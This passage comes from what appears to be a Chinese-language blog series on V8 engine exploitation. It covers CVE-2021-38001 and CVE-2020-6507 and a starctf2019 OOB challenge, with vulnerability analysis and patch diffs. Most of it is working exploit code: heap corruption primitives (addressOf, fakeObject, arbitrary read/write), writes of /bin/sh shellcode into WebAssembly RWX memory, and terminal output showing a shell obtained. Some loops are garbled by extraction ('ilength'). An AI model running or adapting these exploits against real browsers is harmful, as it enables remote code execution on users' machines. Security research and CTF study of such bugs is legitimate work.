    for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = u2d(0x9042121, 0);
    }
    C.prototype.__proto__ = m1;
    function trigger() {
        let c = new C();

        c.x0 = obj_prop_ut_fake;
        let res = c.m();
        return res;
}
    for (let i = 0; i < 10; i++) {
        trigger();
    }
    let evil = trigger();

    function addressOf(target_var)
    {
evil[0] = target_var;
for(let i = 0; i < 0x100; i++)
    spray_array[i][0] = u2d(double_array_map, 0);
let target_var_addr = ftoi(evil[0]) - 1n;
for(let i = 0; i < 0x100; i++)
            spray_array[i][0] = u2d(obj_array_map, 0);
return target_var_addr;
    }

    function fakeObject(target_addr)
    {
for(let i = 0; i < 0x100; i++)
            spray_array[i][0] = u2d(double_array_map, 0);
evil[0] = itof(target_addr+1n);
for(let i = 0; i < 0x100; i++)
            spray_array[i][0] = u2d(obj_array_map, 0);
let fake_obj = evil[0];
return fake_obj;
    }

    var fake_array=[u2d(double_array_map, 0), itof(0x4141414141414141n)];
    function AAR(addr)
    {
let fake_array_addr = bigint_to_number(addressOf(fake_array));
var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
fake_array[1] = itof(0x200000000n+addr+1n-8n);
return ftoi(fake_object[0]);
    }

    function AAW(addr, value)
    {
        let fake_array_addr = bigint_to_number(addressOf(fake_array));  
        var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
        fake_array[1] = itof(0x200000000n+addr+1n-8n);
fake_object[0] = itof(value);
    }

    function shellcode_write(addr,shellcode)
    {
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x1cn;
AAW(buf_backing_store_addr,addr);
for (let i=0;ilength;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);
    }

    var wasmInstanceAddr = addressOf(wasmInstance);
    var rwx_addr = AAR(wasmInstanceAddr+0x60n);
    

    //Linux x64
    var shellcode = [  
      0x2fbb485299583b6an,  
      0x5368732f6e69622fn,  
      0x050f5e5457525f54n  
    ];
    shellcode_write(rwx_addr, shellcode);
    f();
    %DebugPrint(fake_array);

    
    %SystemBreak();
});

漏洞原理

写完了exp，就该了解漏洞原理了。这个漏洞不像之前的CVE-2020-6507那样，不需要了解某些结构的内部机理就可以理解的七七八八。该漏洞涉及的V8内部原理较为复杂，参考文章https://a1ex.online/2021/12/02/cve-2021-38001-%E5%88%86%E6%9E%90/

V8利用(3)-CVE-2020-6507

2024-11-02T13:30:00.000Z

环境搭建

首先从chrome的官方更新公告中搜索CVE-2020-6507，然后可以找到bug详细说明1086890 - Security: Missing array size check in NewFixedArray - chromium

漏洞影响版本：受影响的Chrome最高版本为：83.0.4103.97
受影响的V8最高版本为：8.3.110.9

编译之前的版本即可

1	./build.sh 8.3.110.9

关于如何找到chrome对应版本的V8版本：https://chromiumdash.appspot.com/branches，直接在此处查找即可。chrome版本一般会直接在CVE或issue中标出。

POC

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

漏洞测试

将alert改成console.log，发现输出为

1	corrupted array length: 12121212

那么该POC的功能就是修改corrupted_array的length成员。在修改后，即可越界读写。

但是由于修改length成员时同时也将elements成员置0了，此时再读取corrupted_array内的数据便是从内存段开始读。经过测试可以发现在同一内存布局中，对象的低32bit地址不变。因此可以修改测试代码为模板格式

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];

function float_to_int(f)  
{  
    f64[0] = f;  
    return bigUint64[0];  
}  
  
function int_to_float(i)  
{  
    bigUint64[0] = i;  
    return f64[0];  
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242408901f95n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 60000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
%DebugPrint(double_array);
var x = corrupted_array[0];
console.log("0x"+float_to_int(x).toString(16));
%SystemBreak();

运行此代码，即可泄露出map地址。然后来进一步利用。

关于漏洞成因在文末介绍，接下来看看该如何编写exp以利用此漏洞。

漏洞利用

如果修改代码，那么内存布局就会发生变化，因此在测试过程中，需要不断查看double_array对象地址，在修改corrupted_array的length的同时修改elements指针为double_array地址，即可做到map读写。同时由于obj_array在double_array对象后，也可以修改其map

addressOf

function addressOf(target_var)
{
    obj_array[0] = target_var;
    corrupted_array[4] = int_to_float(double_array_map);
    let target_var_address = float_to_int(obj_array[0]);
    corrupted_array[4] = int_to_float(obj_array_map);
    return target_var_address;
}

fakeObject

function fakeObject(target_var)
{
    double_array[0] = int_to_float(target_var);
    corrupted_array[0] = int_to_float(obj_array_map);
    let fake_obj = double_array[0];
    corrupted_array[0] = int_to_float(double_array_map);
    return fake_obj;
}

AAR

var fake_array = [int_to_float(double_array_map), int_to_float(0x4141414141414141n)]
function AAR(addr)
{
    var fake_obj_addr = addressOf(fake_array)+0x34n;
    fake_array[1] = int_to_float(addr-8n+1n);
    let fake_obj = fakeObject(fake_obj_addr+8n);
    return float_to_int(fake_obj[0]);
}

AAW

function AAW(addr, value)
{
    var fake_obj_addr = addressOf(fake_array)+0x34n;
    fake_array[1] = int_to_float(addr-8n+1n);
    var fake_obj = fakeObject(fake_obj_addr+8n);
    fake_obj[0] = int_to_float(value);
}

write shellcode

function shellcode_write(addr,shellcode)
{
    var data_buf = new ArrayBuffer(shellcode.length*8);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr=addressOf(data_buf)+0x14n;
    AAW(buf_backing_store_addr,addr);
    for (let i=0;ilength;++i)
        data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

最终exp

该exp仅支持在本机环境中运行，因为不同的环境会导致地址不同，以及偏移不同。且运行起来非常不稳定。

（事实上编写该exp直接按照模板就行，不过由于地址会不断变化，每次修改代码都需要重新修改corrupted_array的被覆盖elements成员值，甚至fake_array的elements成员偏移也会变化）

//test.js

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];

function float_to_int(f)  
{  
    f64[0] = f;  
    return bigUint64[0];  
}  
  
function int_to_float(i)  
{  
    bigUint64[0] = i;  
    return f64[0];  
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242408902641n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 80000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
%DebugPrint(double_array);
var double_array_map = float_to_int(corrupted_array[0]);
var obj_array_map = float_to_int(corrupted_array[4]);

function addressOf(target_var)
{
    obj_array[0] = target_var;
    corrupted_array[4] = int_to_float(double_array_map);
    let target_var_address = float_to_int(obj_array[0])-1n;
    corrupted_array[4] = int_to_float(obj_array_map);
    return target_var_address;
}

function fakeObject(target_var)
{
    double_array[0] = int_to_float(target_var+1n);
    corrupted_array[0] = int_to_float(obj_array_map);
    let fake_obj = double_array[0];
    corrupted_array[0] = int_to_float(double_array_map);
    return fake_obj;
}

var fake_array = [int_to_float(double_array_map), int_to_float(0x4141414141414141n)]
function AAR(addr)
{
    var fake_obj_addr = addressOf(fake_array)+0x34n;
    fake_array[1] = int_to_float(addr-8n+1n);
    let fake_obj = fakeObject(fake_obj_addr+8n);
    return float_to_int(fake_obj[0]);
}

function AAW(addr, value)
{
    var fake_obj_addr = addressOf(fake_array)+0x34n;
    fake_array[1] = int_to_float(addr-8n+1n);
    var fake_obj = fakeObject(fake_obj_addr+8n);
    fake_obj[0] = int_to_float(value);
}

function shellcode_write(addr,shellcode)
{
    var data_buf = new ArrayBuffer(shellcode.length*8);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr=addressOf(data_buf)+0x14n;
    AAW(buf_backing_store_addr,addr);
    for (let i=0;ilength;++i)
        data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

console.log(double_array_map.toString(16));
%DebugPrint(fake_array);

var wasmInstanceAddr = addressOf(wasmInstance);
var rwx_addr = AAR(wasmInstanceAddr+0x68n);

//Linux x64
var shellcode = [  
  0x2fbb485299583b6an,  
  0x5368732f6e69622fn,  
  0x050f5e5457525f54n  
];
shellcode_write(rwx_addr, shellcode);
f();
%SystemBreak();

进行多次尝试后，成功执行

fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/poc.js 
corrupted array length: 12121212
DebugPrint: 0xe4108902649: [JSArray] in OldSpace
 - map: 0x0e4108241891  [FastProperties]
 - prototype: 0x0e41082091e1 
 - elements: 0x0e410890569d  [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0e41080406e9  {
    #length: 0x0e4108180165  (const accessor descriptor)
 }
 - elements: 0x0e410890569d  {
           0: 2.1
 }
0xe4108241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x0e4108241869 
 - prototype_validity cell: 0x0e4108180451 
 - instance descriptors #1: 0x0e4108209869 
 - transitions #1: 0x0e41082098b5 Transition array #1:
     0x0e4108042eb9 : (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0e41082418b9 

 - prototype: 0x0e41082091e1 
 - constructor: 0x0e41082090b5 
 - dependent code: 0x0e41080401ed 
 - construction counter: 0

80406e908241891
DebugPrint: 0xe4108484595: [JSArray]
 - map: 0x0e4108241891  [FastProperties]
 - prototype: 0x0e41082091e1 
 - elements: 0x0e41084845c9  [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x0e41080406e9  {
    #length: 0x0e4108180165  (const accessor descriptor)
 }
 - elements: 0x0e41084845c9  {
           0: 4.7386e-270
           1: 2.26163e+06
 }
0xe4108241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x0e4108241869 
 - prototype_validity cell: 0x0e4108180451 
 - instance descriptors #1: 0x0e4108209869 
 - transitions #1: 0x0e41082098b5 Transition array #1:
     0x0e4108042eb9 : (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0e41082418b9 

 - prototype: 0x0e41082091e1 
 - constructor: 0x0e41082090b5 
 - dependent code: 0x0e41080401ed 
 - construction counter: 0

$

漏洞原理

完成了漏洞的利用，接下来深入了解一下漏洞是如何形成的。此漏洞的详细信息可以直接看https://issues.chromium.org/issues/40052419

接下来对POC进行解释

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

在上述代码中，首先创建长度为0x40000大小的array，然后乘以0xFF，再加入0x3FFFC大小，最后利用splice方法加入3个元素，这样算下来giant_array的长度为0x40000*0xff+0x3fffc+3=67108863，但是V8规定浮点数组的大小最大为67108862

来看diff文件

@@ -141,8 +141,15 @@
           ConstantIterator(kDoubleHole)));
 }
 
+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+
 macro NewFixedArray(length: intptr, it: Iterator): FixedArray {
   if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }
   return new
   FixedArray{map: kFixedArrayMap, length: Convert(length), objects: ...it};
 }
@@ -150,6 +157,9 @@
 macro NewFixedDoubleArray(
     length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
   if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedDoubleArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }
   return new FixedDoubleArray{
     map: kFixedDoubleArrayMap,
     length: Convert(length),

发现对Array加入了最大长度检查，说明原来的版本未处理数组越界。

继续看POC中的trigger函数

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

array的长度为67108863，经过x -= 67108861之后x = 2，但V8会认为array的最大长度为67108862，那么它认为x的最大值为1。再经过x = Math.max(x, 0)得到x = 2，而V8认为x最大值为1，最小值为0。并且经过后续x *= 6; x -= 5; x = Math.max(x, 0);，实际值x = 7，但V8认为x的值只能为0或1，显然在corrupting_array的边界内，然后再大量执行该函数，V8便会标记该函数，并进行优化，最终导致的结果就是去除array的边界检查，直接对对应位置进行赋值。即corrupting_array[7] = length_as_double，而corrupting_array[7]对应位置即为corrupted_array的elements和length值

在了解了漏洞原理之后，我们可以尝试优化exp来实现相对稳定的getshell

exp优化

POC优化

原来的poc对length修改之后会导致elements成员也被修改，从而需要不断写入目标低32bit值，优化的目的是使修改length时不再影响elements的值，这样就能继续利用了，优化后的POC如下

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x24242424n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 5;
  x -= 4;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let a = [corrupting_array];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, a, corrupted_array];
}

for (let i = 0; i < 50000; ++i) {
  trigger(giant_array);
}

var corrupted_array = trigger(giant_array)[2];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
%SystemBreak();

我将splice加入的元素数量改到了4个，这样在trigger函数中，数组赋值位置会变为corrupting_array[11]，而在trigger函数中，我加入了一个a变量，其elements结构中的value只占4字节，便会将corrupted_array的地址错位4字节，从而使得在修改length时不会再修改elements

执行结果仍为

1
2
3

fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js 
corrupted array length: 12121212
追踪与中断点陷阱 (核心已转储)

exp2

只需要调试一下，看下各个对象在内存中相对corrupted_array的偏移，稍加改动即可。

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function float_to_int(f)
{
    f64[0] = f;
    return bigUint64[0];
}

function int_to_float(i)
{
    bigUint64[0] = i;
    return f64[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x24242424n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 5;
  x -= 4;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let a = [corrupting_array];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, a, corrupted_array];
}

for (let i = 0; i < 80000; ++i) {
  trigger(giant_array);
}

var corrupted_array = trigger(giant_array)[2];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];

var double_array_map = float_to_int(corrupted_array[20]);
var obj_array_map = float_to_int(corrupted_array[32]);

function addressOf(target_var)
{
    obj_array[0] = target_var;
    corrupted_array[32] = int_to_float(double_array_map);
    let target_var_address = float_to_int(obj_array[0])-1n;
    corrupted_array[32] = int_to_float(obj_array_map);
    return target_var_address;
}

function fakeObject(target_var)
{
    double_array[0] = int_to_float(target_var+1n);
    corrupted_array[20] = int_to_float(obj_array_map);
    let fake_obj = double_array[0];
    corrupted_array[20] = int_to_float(double_array_map);
    return fake_obj;
}

var fake_array = [int_to_float(double_array_map), int_to_float(0x4141414141414141n)]
function AAR(addr)
{
    var fake_obj_addr = addressOf(fake_array)+0x4cn;
    fake_array[1] = int_to_float(addr-8n+1n);
    let fake_obj = fakeObject(fake_obj_addr+8n);
    return float_to_int(fake_obj[0]);
}

function AAW(addr, value)
{
    var fake_obj_addr = addressOf(fake_array)+0x4cn;
    fake_array[1] = int_to_float(addr-8n+1n);
    var fake_obj = fakeObject(fake_obj_addr+8n);
    fake_obj[0] = int_to_float(value);
}

function shellcode_write(addr,shellcode)
{
    var data_buf = new ArrayBuffer(shellcode.length*8);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr=addressOf(data_buf)+0x14n;
    AAW(buf_backing_store_addr,addr);
    for (let i=0;ilength;++i)
        data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

var wasmInstanceAddr = addressOf(wasmInstance);
var rwx_addr = AAR(wasmInstanceAddr+0x68n);

//Linux x64
var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];
shellcode_write(rwx_addr, shellcode);
f();

%SystemBreak();

最终稳定getshell

fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js 
corrupted array length: 12121212
$ id
uid=1000(fuzz) gid=1000(fuzz) groups=1000(fuzz),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

总结

V8漏洞从原理上来看还是比较复杂的，如果要深究其代码，分析起来相对较难。但如果仅仅是根据POC写出exp的话（对于简单的打CTF来说），根据模板就可以较为容易的写出。同时在了解漏洞产生原理之后，应该尽可能优化POC，优化exp，毕竟按回车直接拿到shell是pwn人最舒服的时刻了。

V8利用(2)-starctf2019-oob

2024-10-12T13:30:00.000Z

该题目复现参考从0开始学V8漏洞利用之starctf 2019 OOB（三） - Hc1m1 (nobb.site)

环境搭建

$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8

diff分析

该题目属于人为造洞类型，给出了一个diff，可以发现直接造出了一个oob漏洞，可以实现任意读写。oob具体为

+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle array = Handle::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

从elements.getscalar(length)就可以看出读取操作会把数组后的64bit读出出来

而从elements.set(length,value->Number())可以看出它会赋值数组后的64bit为给出的值

漏洞调试

读取测试

//test.js
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function float_to_int(f)
{
  f64[0] = f;
    return bigUint64[0];
}

function int_to_float(i)
{
    bigUint64[0] = i;
    return f64[0];
}

var farray = [2.1];
var x = float_to_int(farray.oob());
console.log(x);
%DebugPrint(farray);
%DebugPrint(x);
%SystemBreak();

farray对象的结构体为

pwndbg> job 0x02a686e0f3c1
0x2a686e0f3c1: [JSArray]
 - map: 0x1b4ab9602ed9  [FastProperties]
 - prototype: 0x1c4d45d11111 
 - elements: 0x02a686e0f3a9  [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0599b4040c71  {
    #length: 0x003321b001a9  (const accessor descriptor)
 }
 - elements: 0x02a686e0f3a9  {
           0: 2.1
 }

其内存为

pwndbg> x/16gx 0x02a686e0f3c1-1
0x2a686e0f3c0:0x00001b4ab9602ed90x00000599b4040c71
0x2a686e0f3d0:0x000002a686e0f3a90x0000000100000000
0x2a686e0f3e0:0x00000599b40405610x00001b4ab9602ed9
0x2a686e0f3f0:0x00000599b40412c90x0000000100000000
0x2a686e0f400:0x00000400000000000x00000599b40413b9
0x2a686e0f410:0x00000000000000020x00001b4ab9602ed9
0x2a686e0f420:0x00000599b40409410x0000000e00000003
0x2a686e0f430:0x31353737303030330x0000353632383136

其elements内存为

pwndbg> x/16gx 0x02a686e0f3a9-1
0x2a686e0f3a8:0x00000599b40414f90x0000000100000000
0x2a686e0f3b8:0x4000cccccccccccd0x00001b4ab9602ed9
0x2a686e0f3c8:0x00000599b4040c710x000002a686e0f3a9
0x2a686e0f3d8:0x00000001000000000x00000599b4040561
0x2a686e0f3e8:0x00001b4ab9602ed90x00000599b40412c9
0x2a686e0f3f8:0x00000001000000000x0000040000000000
0x2a686e0f408:0x00000599b40413b90x0000000000000002
0x2a686e0f418:0x00001b4ab9602ed90x00000599b4040941

可以看到存储浮点数值的下一个64bit便是farray的map地址，再来看被赋值的x的值

pwndbg> job 0x02a686e0f409
0x2a686e0f409: [BigInt]
 - map: 0x0599b40413b9 
- length: 1
- sign: 0
- digits:
    0x1b4ab9602ed9

digits成员和farray的map地址相同，定义函数getMap()

function get_map(farray)
{
    return float_to_int(farray.oob());
}

写入测试

定义函数

function set_map(farray, value)
{
    farray.oob(int_to_float(value));
}

在%SystemBreak()之前插入代码

1	set_map(farray1, x-0x100n);

进行调试

pwndbg> x/16gx 0x28a064b8f489-1
0x28a064b8f488:0x000026ea29dc2dd90x00003c35f3fc0c71
0x28a064b8f498:0x000028a064b8f4710x0000000100000000
0x28a064b8f4a8:0x00003c35f3fc12c90x0000000100000000
0x28a064b8f4b8:0x00000400000000000x00003c35f3fc0561
0x28a064b8f4c8:0x000026ea29dc2ed90x00003c35f3fc12c9
0x28a064b8f4d8:0x00000001000000000x0000040000000000
0x28a064b8f4e8:0x00003c35f3fc13b90x0000000000000002
0x28a064b8f4f8:0x000026ea29dc2ed90x00003c35f3fc0941
pwndbg> job 0x28a064b8f4e9
0x28a064b8f4e9: [BigInt]
 - map: 0x3c35f3fc13b9 
- length: 1
- sign: 0
- digits:
    0x26ea29dc2ed9

可以看到farray的map值已经被设置成x-0x100n的值了

任意地址读/写

addressOf

尝试编写获取对象地址的函数

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];
var double_array_map = get_map(double_array);
var obj_array_map = get_map(obj_array);
function addressOf(target_var)
{
    obj_array[0] = target_var;
    set_map(obj_array, double_array_map);
    var target_var_addr = float_to_int(obj_array[0])-1n;
    set_map(obj_array, obj_array_map);
    return target_var_addr;
}

在此脚本之前，我按照我自己的想法写了一个
1
2
3
4
5
6
7
8
9
function addressOf(target_var)
{
    var double_array = [2.1];
    var double_array_map = get_map(double_array);
    var obj_array = [target_var];
    set_map(obj_array, double_array_map);
    var target_var_addr = float_to_int(obj_array[0])-1n;
    return target_var_addr;
}
不过这个脚本并不能按照预期内存布局工作，在这个脚本中，obj_array对象的elements结构体没有和对象结构体挨在一起，导致修改map无法成功。（具体原因不太清楚

fakeObject

function fakeObject(target_addr)
{
    double_array[0] = int_to_float(target_addr+1n);
    set_map(double_array, obj_array_map);
    var fake_obj = double_array[0];
    set_map(double_array, double_array_map);
    return fake_obj;
}

AAR

此处AAR的编写并不能依照之前提到的模板来编写，因为这个d8版本较低，并没有目前d8的地址压缩

编写完成的AAR为

var fake_array = [int_to_float(double_array_map),0,int_to_float(0x4141414141414141n)];
function AAR(addr)
{
    var fake_obj_addr = addressOf(fake_array)+0x58n;
    fake_array[2] = int_to_float(addr-0x10n+1n);
    var fake_obj = fakeObject(fake_obj_addr);
    return float_to_int(fake_obj[0]);
}

AAW

同理，AAW为

function AAW(addr, value)
{
    var fake_obj_addr = addressOf(fake_array)+0x58n;
    fake_array[2] = int_to_float(addr-0x10n+1n);
    var fake_obj = fakeObject(fake_obj_addr);
    fake_obj[0] = int_to_float(value);
}

写入shellcode

在实现任意地址读写后，就可以写入shellcode了。可以直接按照之前提到的shellcode模板来写入，只需要在其中修改一下backing_store成员的偏移即可

function shellcode_write(addr,shellcode)
{
    var data_buf = new ArrayBuffer(shellcode.length*8);
    var data_view = new DataView(data_buf);
    var buf_backing_store_addr=addressOf(data_buf)+0x20n;
    AAW(buf_backing_store_addr,addr);
    for (let i=0;ilength;++i)
        data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

最终exp

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
